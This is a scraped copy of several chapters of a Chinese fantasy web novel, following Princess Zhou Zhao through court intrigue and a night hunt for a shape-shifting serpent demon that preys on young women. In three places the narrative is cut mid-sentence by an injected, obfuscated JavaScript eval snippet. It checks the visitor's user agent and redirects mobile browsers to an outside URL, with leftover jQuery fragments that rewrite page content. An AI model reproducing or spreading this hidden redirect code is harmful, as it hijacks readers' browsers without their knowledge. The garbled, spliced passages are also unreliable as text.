礼部尚书李知远胡子花白,几年时间已经模样苍老,少了几分尖酸刻薄,不待周昭回答,跪地痛哭,抢道:“陛下!按理说靖王殿下为国征战,微臣本不该置喙,但此番送回来的战俘大多是些老弱妇孺,并非姜国士兵,若送上祭天台,我泱泱大国,岂不真成了茹毛饮血的野蛮之徒!陛下!礼不可废!人心不可寒啊!” “尚书此话过于严重了吧,人都死完了,谁还管你那礼!姜国人自己作孽,引来食人心的槐鬼,总要付出代价!” “说得对!人都死完了还管那么多!” …… 一片哄闹声中,人人都据理力争,人人都面目狰狞。在这个人吃人才能活的地方,为了活命,所有人都争先恐后。 有人尽管心中也觉得残忍,但祭天是为天下百姓,一人之力难敌悠悠众口,于是也不得不三缄其口,或是随波逐流。 有人尽管恨不得立马就杀人祭天,说出来的话却犹犹豫豫,显出自己心地良善,出淤泥而不染。 朝臣满堂,谁是真心?谁是假意?宛如没有硝烟的战场。 不同的是真正的战场人们穿盔甲,这里的人们戴面具。群臣高谈阔论,之所以敢说,是因为每个人心里都清楚,最终做决定的不是他们,需要承担后果的也不是他们,是坐在高不可及的龙椅上那位帝王。 杀,那便是不仁不义,残忍嗜血。 不杀,那便是国之叛徒,万民唾弃。 “暂且关押。”帝王淡淡道。 中庸之法,帝王同样举棋不定。 李知远长舒一口气,闫斯年应了声是退回人群。喧嚣重归寂静,日子还长。 朝臣退下后,周昭沉沉地闭上眼睛,龙椅冰冷,硌得她浑身都痛。 周昭很小的时候曾被宣庆帝抱在怀里,那时候她摸着龙椅上凹凸不平的花纹,问宣庆帝为何龙椅不能铺上又厚又软的毯子,宣庆帝大笑着告诉他们几个,龙椅就是要让皇帝如坐针毡,这样才能居安思危,心系天下百姓疾苦。 周昭如今才懂这句话的意思,可惜物是人非,当年的人全都死了,只剩下她孤家寡人。 父皇,您告诉儿臣,我该怎么办? ...... 周昭许是真的累极了,竟就这样昏昏沉沉地靠在龙椅上睡过去。 不知睡了多久,暴雨砸在琉璃瓦上的声音似乎渐渐远去,殿内笼着炭火,她仍觉得冷,却懒懒地不愿开口让宫人服侍她起身回去睡。 “还不醒?”一个声音在脑海里炸开。 周昭猛地睁开眼睛,雨势早已停了,她却不是在冰冷又硌人的龙椅上。 身下是柔软的床铺,窗外是摇曳的月光,而这道走过了一千多年的月色,正好照在窗边一个鬼鬼祟祟的人影上。 周昭下意识地翻身便踢,那人影躲闪不及,滚到床底下去了。 “谁?”周昭低喝道。她从床底下抓出来一条胳膊,立刻嫌恶地丢开手,质问道:“梁王?你干什么?” 梁王见事情败露,反而大大方方地床底下钻出来,拍了拍不属于他的身体上面的尘土:“我来办事。周昭,你该不会忘了那天答应赵允城什么了吧?” 周昭打量这颗丑陋人头几眼,不怒反笑,目光中的鄙夷和嘲讽自不必言说。 梁王涨红脸,低声骂道:“已经过去七八天了,你一点儿动静都没有,你不忍心下手,可别要拦我。” “谁说我不忍心?渡舟害我大周亡国,要杀他,没有人比我更有资格。”周昭确定四下无人,便随手关上窗。 梁王嘿嘿笑道:“那谁知道呢?万一你被渡舟那张皮相迷惑。” 周昭不答,从床底下踢出一只匕首,梁王脸色立刻煞白,周昭道:“赵允城知道你想杀我吗?他要是知道你不敢去杀渡舟,跑来杀我,答允你的高官良田美人,恐怕要再议吧?” 梁王脸上青一阵白一阵,周昭心道:“梁王当年好歹也是野心勃勃,如今却甘愿在赵允城手底下讨个官做,只怕是想螳螂捕蝉,黄雀在后,能骗得了赵允城,却瞒不过我。” 她道:“除了杀我,你还要办什么事儿?” 梁王露出阴险的笑,抬手指了指窗外,压低声音道:“既然你醒了,不如跟我同去。这地方太大啦,找得本王脑子直打转。” 周昭领着梁王来到渡舟书房门前,不禁怀疑当年于汴西十三州运筹帷幄的定西王,到底是不是眼前这位蠢货。 其实定西王是他,“蠢货”也是他。只能怪千年光阴不留情,让很多人都变了模样。 梁王显然是十分惧怕渡舟,一听到周昭说渡舟不在,便恢复了装腔作势的模样,摩拳擦掌道:“你确定,渡舟谋反的证据都在这里面?” 周昭平静道:“去不去随你。” 梁王正欲推门进去,忽而驻足,道:“你先进。” 周昭一阵无言,率先进去,指着书桌左侧的一个暗门说道:“牵机营的命脉,都在里面了。” 梁王眼珠子骨碌转,转头问道:“你不是在骗我吧?”他过了一千多年人不人鬼不鬼的日子,早没了当年君王锐气,变得异常谨慎狡诈。 周昭不曾想到自己把饭都送到面前,这位梁王却不肯吃,无奈只好自己推开暗门,取出早已准备的东西交给梁王,道:“告诉赵允城,这是我的诚意。他答应我的事情,也莫要忘了才好。” 梁王笑魇如花,可惜异常丑陋,接过道:“合作愉快。” 说罢,他敏捷地消失在门外,走到一半又回头,捡起刚才跨过门槛时掉下来的左脚咔一声装在腿上,像鬼影一样消失了。 周昭回到自己的屋子,关上门,自言自语道:“魇鬼,该出来了。” 魇鬼用一贯稀奇古怪的声音嘻嘻哈哈笑了几嗓子,然后出现在周昭面前,道:“又救你一命,准备怎么谢我?” 那是张普普通通的脸,周昭毫不怀疑又是魇鬼占了谁的身体,她对此没空感兴趣,直截了当问道:“你出现在九洲城,就是为了找我吧?” “先是借瑶姬之手将我引去无相城,又借镜妖制造幻境,丹妙,你明明恨我入骨,又不杀我。”周昭试图探究出魇鬼的心思,可惜魇鬼无心,窥探无用,她话锋一转,“我猜,你莫不是也在找我的心?” 魇鬼的脸上闪过一丝微不可察的愣怔,虽然转瞬即逝,却被周昭看在眼里,不由冷笑说:“好得很,我竟不知我死后,还有这么多人想得到我的心。你先是千方百计引渡舟发现我的魂魄,又频频出现在我的梦中,就是想找那颗心吧?可惜,老实说,我不知道。哪有人已经死了还能看见自己的心到底去哪儿了,你背后的主子没告诉你这么简单的道理吗?” 魇鬼恼羞成怒道:“这个不用你管。” “那你走吧。” “走?” “是啊,去找我的心,那东西对我没什么用。”周昭淡淡道,“你也不必费心救我,我想不起来,无可奉告。” 魇鬼绕着周昭走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“自然不肯。”上官又补充道,“我估计不肯。” 周昭冷淡地笑了笑,又问:“你家主君经常闭关吗?” 上官似乎在考虑这个问题怎么回答,最终摇摇头,道:“或许吧,我不常见主君。” 这时,一名侍卫走近道:“大人,有给您的信。” 上官一边把剥了皮的葡萄往嘴里扔,一边接过信,看了两行,便腾得从太师椅上跳起来,高声叫道:“什么?!让我男扮女装?她脑子进水了?” 周昭想看信,上官却将信揉成一团扔得远远地,活像虫子爬了满身打了个冷战。 侍卫走后,周昭问道:“国师送来的信?” 上官似乎有句脏话绕在舌尖,好歹没说出来。 周昭把捡回来,念道:“九洲城现采花大盗,数名女子遇害,吾思来想去,唯有兄能相助,扮作女郎......以抓捕贼人。” 上官活像受了多大屈辱,愤愤道:“你瞧,她这说的什么话?” 周昭哪壶不开提哪壶:“但我看,上官大人在无相城那回......” 上官立刻道:“打住!” 周昭于是闭嘴。 “不过,国师大人怎么办起了这种案子?”周昭沉吟道,“也许欧阳文没说谎,毁了何小姐清白的不是他,而是这位采花贼。” “这样便说得通了。”上官道,“那位陆轻苹性子倔得恨,欧阳文在衙门被打,陆轻苹八成跟丞相闹翻了脸。沈云起贵为国师,什么事儿都管的,丞相估计是弃了陆轻苹去找沈云起了。” 周昭站起来伸了个懒腰,舒服得叹了口气,道:“上官大人,好久没见国师了,咱们去看看她吧。”上官避之如蛇蝎,连连摇头道:“我不去,要去你去。” “好吧,但我想问大人讨一样东西。” “什么?” “易容丹。” 105. 第 105 章 国师府很好找,但若是上官追出来,就会发现周昭并不是往国师府的方向走。 离仙人醉不远,早有一驾马车等候,周昭头戴斗篷弯腰钻进马车,车轮滚滚而动,却是往皇宫的方向驶去了。这辆马车一路畅通无阻,由宫门驶入,穿过道道砖红色宫墙,最终在一处隐蔽的殿门前停下。 周昭下了轿,立刻有人前来迎她,宫人目不斜视,并不敢偷看她的面容。 殿内早有人等候,待宫人都退去,那人才从屏风后走出来,饶有兴致地打量周昭道:“数日不见,殿下风采依旧。” 周昭略过客套话,淡淡道:“我要的人,准备好了吗?” “自然,只是如今想见殿下一面,实在难得很。”赵允城走近几步,目光愈发肆无忌惮。 周昭忍不住在心中评价道:“此子意志不坚,难成大事。”心中虽这么想,面上却不露声色:“我赶时间。” 言下之意是没空陪赵允城闲聊,赵允城哈哈笑道:“大将军,要见你的人来了。” 一道暗门缓缓打开,顾绍从暗处走出来,周昭先是看到宁啻那半张脸,随后是整张脸,不由骇得后退两步,险些叫出声来。 她的这些反应赵允城都看在眼里,目光在二人之间飘忽不定,看戏道:“看来,大将军另外半张脸,也是殿下的熟人。” 长淮! 顾绍那张面具除去,遮挡住的半张脸竟是长淮! 周昭全身汗毛都竖了起来,冲上前去抓住顾绍的胳膊,连声叫道:“长淮!你是长淮?还是宁啻?” 当年槐鬼给周昭留下的恐惧至今威力不减,这张阴阳面就是最好的证据。 世间只有一种情况才会变成这样一张脸,那就是吃掉了能让槐鬼变成人的心。 谢景和宁啻都是周昭此生挚友,让她亲眼看到这两个人的面孔出现在一张脸上,世上最残忍的刑法也不过如此。 心脏骤然紧缩,先是一阵没有反应过来的麻木,再是剧烈的疼痛,周昭非得张开嘴巴才能重新呼吸,她片刻不敢移开目光,顾绍却一把推开她,呵斥道:“做什么?” 这一声低喝,瞬间将周昭从生不如此的痛苦幻境里拉回来,让她回到有赵允城在的这处冷冰冰的宫殿。 不,这不是长淮,也不是宁啻。 这是赵允城蒙骗我的戏法。 周昭恨恨道:“赵允城,你造出这么具傀儡,不该用他们二人的脸。有机会,我定杀了你。” 赵允城不怒反笑,好整以暇道:“傀儡?殿下好聪明。” “不是吗?征战南北的大将军,知道自己死后被国主变成这副模样了吗?” 周昭冷静下来,虽然眼前这个人像极了宁啻,也像极了长淮,但他们二人早就死了,绝不可能是眼前这个毫无灵魂,被赵允城操纵的傀儡。 “这就是你瞒着渡舟藏在北境的刀?可惜,我对他没兴趣,你我合作,各取所需。大可不必想着用他胁迫我替你做事。你要杀渡舟,我要复仇,仅此而已。” 赵允城道:“真的……仅此而已吗?殿下,你为何不敢再看那张脸?虽然朕给了你一份国史,不过对于当年周黎决裂之事,国史不可信,朕很是好奇呢。” 周昭到底没忍住,又往那张脸上看了一眼,她强迫自己不能在赵允城面前露了底,声音却有些抖:“是谁帮你画出这张脸?瑶姬?还是别的丹青手?” 赵允城挥了挥手,顾绍好像根本没听见他们二人说话,又从那道暗门退下了。 “谁也不是,殿下,你该相信我。”赵允城道,“朕三年前抓到他的时候,他的确就长这副模样。你帮朕收集皇叔的罪证,朕感激你还来不及,怎会舍得骗你?殿下请这边坐。” 周昭依言坐下,却无心喝茶,赵允城继续道:“殿下还记得九洲城几年前有位挖心魔吗?” 周昭神情微滞,恍惚间想起来那时她还是哑奴的身份时,碰见一个挖心的妖怪。当时九洲城许多人都被挖心而死,周昭从挖心魔手下救了贺金牙一命,对方这才将她从婢女带回衙门做事。 赵允城见她不答:“那挖心魔正是你的好友,如今的大将军,顾绍。” 周昭抬起目光,冷声道:“我再说一遍,莫要拿他们二人玩笑。” “是不是玩笑,殿下尽管去查,殿下那时让朕帮你做三件事……”赵允城亲自为她添茶,“这第一件事,朕对你毫无隐瞒。其实朕也不知这人到底是黎国主谢景,还是那另外半张脸。朕只知道,他死后堕魔,靠生吃人心活了这么多年,唉,说来朕的大将军……也真是可惜了。殿下,朕为你的旧友找到这么一副新的身体,一个新的身份,你不谢谢朕吗?” 周昭攥紧拳,手心的肉都快被她掐出血。 “第二件事嘛,还需要时间。毕竟是一千多年前的事情,哪怕是朕举国之力,查起来也不是那么容易。” 等那辆马车又悄无声息地离开,赵允城却并未起身,反而又续上一杯茶水,对着空气道:“她信了几分?” 殿内明明只有赵允城一人,却有一个不知从哪儿传来的声音回应道:“就算是一分,也足够了。” 赵允城笑了笑,将那杯茶喝了。 周昭于僻静处下了马车,并未摘去头上的斗篷,沿着国师府外院走了几步,又转身往衙门走去。 不出她所料,陆轻苹跟沈云起果然都在。另外还有那位耳朵不大好使的县尉,正因为衙门里聚集了这么多人而诚惶诚恐。 三人早已相熟,沈云起自不必说,然陆轻苹神色古怪,似乎并不欢迎周昭的到来,不过陆轻苹的拒绝没有沈云起的嘴快。 原来不光是丞相的女儿惨遭毒手,另有九名女子被玷污清白,且都是尚未出阁的闺中女子。 令人惊讶的是,这些女子都对采花贼毫不知情,一旦问起,便面露羞怯地说那日是去与情郎幽会,并不曾见过什么采花大盗。 沈云起翻开案卷,将一年前的一桩旧案指给周昭看,“这位姓柳的小姐尚未成婚便有身孕,柳家本来跟刘家定亲,刘家却拒不承认柳小姐腹中的孩子,最后柳小姐大着肚子投湖自尽,才闹到衙门来。” “跟这些案子很像。”周昭接过案卷又翻到近日这些人的口供,问道,“二位大人。有什么线索了吗?” “这些女子都是夜间独自出门,头戴杏花,遇到了所谓的‘情郎’。”陆轻苹道。 “夜间,杏花。”周昭重复道,“近日杏花新开,九洲城女子常簪花,看来那位情郎也钟情杏花。不过,丞相的千金为何晚上要独自去那么偏僻的地方,身边没有人跟着吗?” “查问过何小姐的贴身丫鬟,说那天本来是去城外庙里进香,路上突然下雨,回来晚了。丫鬟说本来是一直跟着何小姐,后来遇到欧阳文,何小姐便让她在原地等着,也正是因为那丫鬟的指认,欧阳文才被抓起来。” “原来如此。” “我正跟陆大人商议,怎么将采花贼引出来。” 周昭指着其中一人口供道:“这位姓陈的姑娘,似乎情况不同。” 沈云起凑近看了眼:“哦,这个,她说自己有天晚上听见有怪鸟追她,来报案的。” “怪鸟?” “嗯,据她所说声音奇怪得很。这位陈姑娘一路被鸟追到一间破庙里,那鸟却没跟上来,她待到第二日白天,来官府报的案。” “也是夜间,头戴杏花?”陆轻苹忽然转头问县尉。 三人去问话的路上,沈云起将周昭拉到一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108103|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,以手掩面,低声道:“妹妹,你怎么来了?看到我写的信了?富贵呢?” 周昭一本正经道:“看到了。”她从怀里掏出一只小瓷瓶:“这是上官大人给的易容丹。” 沈云起看了眼前面走着的陆轻苹,面露难色,自言自语道:“不是吧......他?” 那名女子见到县尉,欠身行礼道:“大人。” 她将自己遭遇的事情又讲了一遍,但当陆轻苹问起那只怪鸟,对方却一问三不知,只说自己又惊又惧,吓得只管蒙头跑,哪里还敢回头看。 “半点儿也没看清?”沈云起问。 “没有。” “你那日可簪着杏花?” 陈姑娘想了想,答道:“好像是簪着杏花……” “后来你跑到一间破庙,怪鸟便没再追来了,还记得是什么庙吗?” 陈姑娘道:“记得,那庙怪得很,没有神像,只有一把剑。” “一把剑?”周昭有种不妙的预感,追问道,“可看清剑上写着什么字?” “当时夜里黑,没看清,等天一亮我就走了。” 陆轻苹不动声色地瞥了周昭一眼,又问:“那鸟叫声你还记得吗?” “记得,嗯……叫声像刀斧劈柴,不对,更像是敲桌子的声音。”女子说着用手敲了敲桌。 没有什么再需要问的,女子离开后,周昭若有所思道:“这怪鸟的声音我好像在哪里听过……”她要来纸笔,很快勾勒出一只五彩斑斓的大鸟。 “我也见过。”沈云起拿起画笔,又将喙部拖长几笔,同时在颈下添上一只红色的肉球,周昭道:“是它,那日我在城南遇到了这只怪鸟,就是陈姑娘形容的叫声。怎么,国师大人也是在城南看见的?” 沈云起道:“没有,西边有座昆仑山,山上便有这种鸟,名字叫钦原。当地人都说钦原鸟蜇虫兽则死,刺树木则枯,不过,我从没听说过九洲城也有钦原鸟的,更没听过钦原好色。” 陆轻苹则道:“万千世界,无奇不有,万一钦原鸟来了九州,突然转性了也说不好。” 周昭收起那幅画,问道:“陆大人,你有心上人没有?” 陆轻苹脸色精彩,周昭道:“别误会,既然采花妖能变成女子心上人的模样,我们要诱蛇出洞,总得物色个合适的人选。” 陆轻苹神情僵硬,蹙眉道:“我是男子,采花妖总不至于眼盲。”他看向沈云起,对方退开半步,红着脸拒绝道:“别看我,我没有心上人。” 周昭更是摇头,又将准备好的那枚丹药拿出来,道:“陆大人,这药能让你变成女子,试试?” 陆轻苹憋了半天,甩袖道:“成何体统!”他磕磕巴巴道:“这法子、行不通。” “陆大人是怕采花妖?还是怕采花妖变成心上人的模样啊?”沈云起偷笑道。 “我没有心上人!” “大人是男子,让采花妖占点便宜又怎么了?”沈云起压根不听陆轻苹解释。 陆轻苹虽然万般推辞,架不住周昭跟沈云起轮番劝说,终于答应为国捐躯。 “那采花妖能变幻模样,陆大人可要当心。”周昭眼中笑意若有若无,却跟从前不同,让陆轻苹无端觉得冰冷。 就好像这人虽然站在面前,却隔了十万八千里,冷眼看他们生,看他们死,芸芸众生,似乎都与这女子无关。 等到晚上,陆轻苹视死如归将那药丸一口吞了。沈云起正捧来一篮杏花要为“陆小姐”装扮,推开门,看到陆轻苹此刻的模样,不禁吓得花容失色,尖叫道:“你、你为何要变成我的样子!” 陆轻苹一脸正气,摆出一副“你问我我问谁”的姿态。周昭冷眼旁观,心道:“这两个人,的确有趣。” 106. 第 106 章 “上官富贵,我杀了你!”沈云起用了十二分力气才将这句话咬碎在唇齿间,没有说出口。 但事已至此,一切准备就绪,沈云起就算再不情愿,也只能重新捡起地上的花篮为陆轻苹装扮。她将对上官的满腔怒气都发泄在陆轻苹身上,簪花的力气格外大,也幸亏陆轻苹脾气好,饶是如此,都只是阴着脸没说一句话。 等到了晚上,县尉看见两个国师吓得不轻,沈云起说完来龙去脉,县尉犹豫不决道:“这、能行吗?万一陆大人有什么三长两短……” “他一个大男人,能有什么事儿?” “可陆大人现在用的是、是您的……”县尉没敢说完,生怕脸色越来越难看的国师大人一怒之下脱了自己这身官服。 萤木和一队衙役早已准备妥当,周昭从人堆里眼尖地认出了一位老熟人,抬手打了个招呼,道:“张仙师,晚上好啊。”又低声对陆轻苹道:“大人很信任这位老道呢。” 陆轻苹同样低声道:“好过你那位路过朋友。” 张仙师因为又要去抓妖而喜气洋洋满面红光,竟不计前嫌跟周昭也打了声招呼。不过周昭过了阵子才想起来,自己这张脸张仙师还没见过,不由哑然失笑。 他们约好线路,只要采花妖现身,陆轻苹便放出信号。衙门的人太明显,就像水下露出钩子,再笨的鱼儿也难上钩,按照计划沈云起先按兵不动,等到陆轻苹的信号放出才能行动。 望着陆轻苹独自离开的背影,沈云起不由露出担忧的神色,悄悄问道:“妹妹,陆大人一个人能行吗?” “放心,咱们陆大人厉害着呢。”跟沈云起比起来,周昭的确气定神闲,又道:“若不放心,我去跟着他。” “还有贫道!”张仙师挺身而出道。 周昭摸了摸鼻尖,道:“仙师啊,你身上挂这么多符,哪只妖敢来呢?”萤木听见他们说话,有些紧张地站出来道:“大人,我愿随您去。” 周昭认识萤木,萤木却不认识她,对这少年坦诚道:“抓妖,很危险的。” 萤木立刻站得笔直:“我不怕!” 亥时三刻,今夜月为上弦,长街行人稀薄。 周昭跟萤木始终与陆轻苹保持一段不远不近的距离,虽说这只是个好女色的妖,想来本事不大,但周昭带着个十六七岁的少年,行事格外小心。 陆轻苹手提一盏灯,扮起女子竟毫不违和,走起路来身姿绰约,也许是刻意为之,比原主沈云起还多了几分妩媚,唯一不足的,就是步调迈得比寻常女子大些。 周昭盯着陆轻苹看了半晌,淡淡道:“咱们陆大人,装扮起女子得心应手呢。” “啊?”萤木眼睛睁得大大的,压低声音道。 陆轻苹拐进一条无人的小巷,丞相的女儿就是在那里失踪的。但他这么一拐弯,刚好进入他们的视野盲区,要想看清那条小巷发生了什么,就必须从明朗的月光底下穿过去,萤木轻声问道:“大人,咱们跟吗?” 周昭摇头道:“不。” 萤木为难道:“可是陆大人他......” “嘘……”周昭举起食指放在唇边,做了个手势示意他噤声,“你听。” 夜空传来几声突兀的猫叫,萤木忍不住打了个寒颤,道:“该不会是猫妖吧?” 但除了那几声让人听着毛骨悚然的猫叫声之外,什么声音都没有。萤木肉眼可见地焦急起来,周昭却异常冷静,像是毫不担心在他们眼前消失的陆大人是否还安全。 “大人,咱们该去看看了吧?” “别急,再等等。” 话音刚落,那条幽深的小巷子里突然传来砰的一声响,萤木叫道:“不好!陆大人有危险!” “哎等等!”周昭抓了个空,萤木已经拔刀冲过去,她无奈跟上,等到了巷子口,却惊讶地发现里面一个人也没有,只有地上落着一盏灯散发出孤零零的幽光,正是陆轻苹手中提的那盏。 周昭向前走了几步,警惕地打量着眼前这条小巷,尽头堆着些木板水桶之类的杂物,那里是唯一的出口,除非把这些东西搬开,否则绝无可能出去。 不过……人虽然不能出,妖却不一定。 一股淡淡的腥味扑面而来,越往里走越明显,周昭总觉得这股味道似曾相识,却一时想不起来。她捡起那盏灯,突然,有两道锐利的目光落在自己身上。 转过身,巷子口不知什么时候多了个小孩子。 看身量是个男孩,至多六七岁,笼罩在一件宽大的黑袍里,看不清脸,只有一小块尖尖的下巴从斗篷里露出来。 “小朋友,这么晚了怎么不回家?”周昭问。 那孩子像是没听到她说话,一点儿反应也没有,两只眼睛直勾勾地盯着她手中那盏灯,周昭走过去,一边将灯举到他面前,一边问道:“喜欢灯?” 就在灯光即将打在他脸上的那一刻,男孩突然一口咬在周昭手臂上,她吃痛松开手,对方迅速捡起那盏灯便跑,一眨眼就消失在纵横交错的长街里了。 好怪的小孩儿。 周昭撩起衣袖,白皙的手臂上多出两个小小的血洞。 这时,一道烟花自东南方窜天而起,在那弯上弦月怀里炸开。几乎是同一瞬间,夜空中传来一声更为洪亮的叫声,随后一只张着翅膀的大鸟从周昭头顶仓皇飞过。 是钦原鸟。 那鸟似乎受了伤,长长的鸟喙比周昭上次见它短了两寸,左边翅膀上的羽毛颜色虽然依旧鲜艳,却较右边光秃秃的,不知是不是这个缘故,钦原飞起来时总是往一边倒,虽然飞得快,但总是跌跌撞撞,一时间竟没能跟身后紧追不舍的周昭拉开距离。 周昭追出二十多步,突然反应过来不对劲:钦原鸟虽然出现的时机恰到好处,但方向显然不是陆轻苹放出信号的东南方。 此时月亮正极快地在云中穿行,只剩下一弯还没有被云遮盖住的浅浅的痕迹,周昭冷不防地跟一个人迎面撞了个正着,那人似乎被撞得不轻,抬起头,脸色煞白,周昭叫道:“上官大人?你怎么......”她目光不经意向下一瞥,没再继续说。 突然出现的上官语气匆忙,也不解释为何自己会在这里,声音低哑道:“阿鸢,快跟我去抓妖!” “好啊。”周昭不动声色地抓住上官,微笑着问,“妖在哪儿?” “就在前面!”上官拉着她往前跑。跑了几步,他忽然停下,转头道:“......你怎么发现的?”上官的目光是少见的阴鸷,那双眼睛似乎比平时颜色浅些,直勾勾地盯着周昭。 “好说,不过我有时间说,你有空听吗?”周昭收起漠然的笑,这时前方传来阵阵脚步声,身后则是萤木高声呼叫,“大人!别让那妖跑了!” “妖?妖在哪里!”张仙师远远地叫道。 “上官”突然目露凶相,那张脸刹那间变成一头巨蟒的三角脸,大张着嘴吐出蛇信朝周昭扑过来。周昭早有防备,自然不会让它得逞,但蓦然见到这么一张蛇首人身的面孔,脚下不由后退半步,手中匕首却往前送出三寸,对准蛇颈刺去。 按理说蛇颈下的皮肤最软,周昭臂力不弱,但这匕首刺去却被一层硬壳弹开,震得她手心发麻。 好硬的蛇皮。 “公主殿下,你还认得我吗?”蟒蛇开口说道,它虽然是蛇形,脸上却能看出几分阴险狡诈的神色。 周昭望着那双黄澄澄的眼睛,突然愣神片刻,难道是……就在这电光火石间,蛇首突然袭来,先是猛地一击撞掉她手中匕首,再是尖牙来势汹汹直取她性命! 等周昭反应过来已经无刃可挡,眼看就要生受这一下,眼前一团白影闪过,伴随着尖利的猫叫,蟒蛇惨叫一声,连连后退,周昭喜出外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112859|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望:“般般!” 那蛇妖不知是不是被猫抓伤了眼睛,躲开几步落荒而逃,般般舔了舔嘴边的胡子,又十分嫌弃地拿爪子擦了擦舌头。 周昭快速摸了摸它的脑袋,道:“般般,我们去抓妖怪。”般般不满地叫了一声,她突然想到渡舟说这猫也是千年不死的妖,笑说:“去抓坏妖怪。” 一人一猫追着蛇妖而去,身后是姗姗来迟的陆轻苹跟萤木二人。陆轻苹看上去不大体面,头上簪的花早不见了踪影,好像是被蛇妖吓得摔了一跤,身上灰蒙蒙的,手上也破了皮,其他并未受伤。 萤木的剑上却有一道血痕,周昭不由多看两眼。 却说沈云起刚到巷子口,正撞见“上官”脚步匆匆消失在暗处,满心疑虑,走过去招呼道:“富贵儿?”她又想到上官给的好药丸,忍不住阴阳怪气道:“哼,男子汉大丈夫,好没意思!” 她说了这几句,对方只管蒙头走,不见上官回应,愈发生气,叫道:“喂,我跟你说话呢。” “大人小心!那不是......” “晚了。” “上官”阴笑着抬起头,沈云起又惊又惧,却被一把推开。 周昭只闻到一股混着杏花香,又甜又腥的气味扑面而来,捂住口鼻却来不及,蛇妖化形而逃,张仙师自然也看见突然窜出来的巨蟒,虽然手忙脚乱,但也算临危不惧地掏出一把符箓,举着剑喝道:“抓蛇妖!别让它跑了!” 一时间瓦片落地,门窗俱碎,那蟒蛇爬上绕下,跑得极快,引来各处尖叫连连,灯火明灭不断。 周昭走了几步,只觉眼前像蒙着一团雾气,怎么眨眼睛都看不清楚。她费力地晃了晃脑袋,般般贴着她的双脚焦急地打转儿,沈云起的声音好似从很遥远的地方传来—— “……妹妹!” 周昭应道:“我……我没事儿。”她越是想推开沈云起自己往前走,脚下就越不稳,陆轻苹追上来,不由分说地将周昭扶到墙角坐下,抓起手腕摸上脉门,眉头紧蹙,低声道:“她中了蛇毒。” “会怎样?”萤木和沈云起齐声问道。 “……说不好。”陆轻苹神情越发凝重,沈云起则追问道:“说不好是什么意思?” “贫道刺中啦!”张仙师语调兴奋,周昭头脑清明了一瞬,摇摇晃晃起身,叫道:“别杀它!” 蛇妖尾巴被张仙师开过光的剑刺中,十分痛苦地在地上翻滚,一时之间竟无人敢近身,他目光看到周昭,忽而放声大笑,断断续续道:“我的好公主!你想起我啦!” “公主?哪来的公主!”张仙师见并无宫中车驾,气急败坏道,“妖孽休走!” 张仙师哪里听得进去周昭的话,正要再一剑刺出,眼前突然冒出来一个小孩子挡在剑下。 他大惊失色,剑锋自然偏了几寸,蛇妖见此机会张开大口喷出数道毒液,张仙师以袖掩面连连后退,其他衙役自不必说,纷纷哀嚎。 待浓烟散尽,哪里还有那孩子跟蛇妖的影子。 张仙师提着剑绕了几圈,愤愤道:“可恶!这都被他跑了!”收了剑,又高声说:“各位大人,这蛇毒凶险非常,一旦沾上,不死也要掉层皮啊!” 众衙役纷纷道:“求仙师救命!” “唉,难救!”张仙师眼珠子一转,从怀里掏出一只葫芦,状似十分为难道,“贫道虽有解毒圣药,但是我家传秘宝……” “我愿出钱!”立刻有人说道。 沈云起冲朝安使了个眼色,对方拿出一袋子钱交给张仙师,道:“有劳仙师为兄弟们解毒。” 不必说,张仙师那葫芦里的药顷刻间就卖了个底儿掉。沈云起等人哪里顾得上眼前热闹,张仙师数完一叠钱,余光看见周昭,三步并两步跑过来,却不是探脉象,将葫芦口转了转,倒出来一丸淡绿色的丹药,道:“压在舌根。” 107. 第 107 章 沈云起咦了一声,问:“仙师,为何这药跟您给他们的不一样?” “自然是因为中的毒不一样喽。” 周昭依言照做,不再说话。 张仙师余光看见般般,惊叫道:“这、这不是……”上回在月季花妖那处乱葬岗里,般般给张仙师留下了抓妖生涯的一笔“奇耻大辱”,他瞪大眼睛跟猫对视,还不死心,眼疾手快掏出一张符箓就想往般般身上贴。 白猫弓起身子很不愉快地叫了一嗓子,嗖地一下从他身边跳上房顶离开了。 他们此番抓妖,可谓铩羽而归。 陆轻苹眼神扫过众人,不是被蛇毒溅到,就是被蛇妖那巨大的身体磕碰到受了伤,再行追捕肯定不能,于是跟沈云起商议只能先回县衙再做打算。 张仙师叹气道:“我说,这事儿既然确定是妖,那就该交给牵机营嘛!”他丝毫没有察觉众人神情各异,“上回在无相城,那个娘娘腔虽然嘴贱,但身手还不错。”张仙师如此点评道。 陆轻苹的眉心微不可察地抽了抽,沈云起莫名脸色一红,周昭目光流转,没有提起陆轻苹扮作沈云起为何会招来一个“上官”。 气氛陡然间有些微妙,见没人回话,张仙师自顾自道:“但也不能全怪我们,那蛇妖少说也有上千年修为,厉害着呢。要不是他受了伤,还指不定——”他突然凝眉,咦了一声,道,“那蛇妖受了伤?谁伤的?” “是啊,陆大人你怎么搞成这副样子?蛇妖跟你们打过了?” 